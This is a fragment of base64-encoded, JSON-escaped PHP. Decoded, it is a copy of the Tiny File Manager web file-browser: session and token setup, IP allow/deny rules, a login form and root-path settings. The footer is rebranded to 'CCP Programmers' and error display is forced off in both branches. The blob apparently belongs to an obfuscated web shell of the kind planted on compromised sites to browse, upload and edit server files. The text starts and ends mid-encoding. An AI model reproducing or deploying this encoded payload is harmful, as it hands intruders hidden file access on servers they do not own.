C9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIW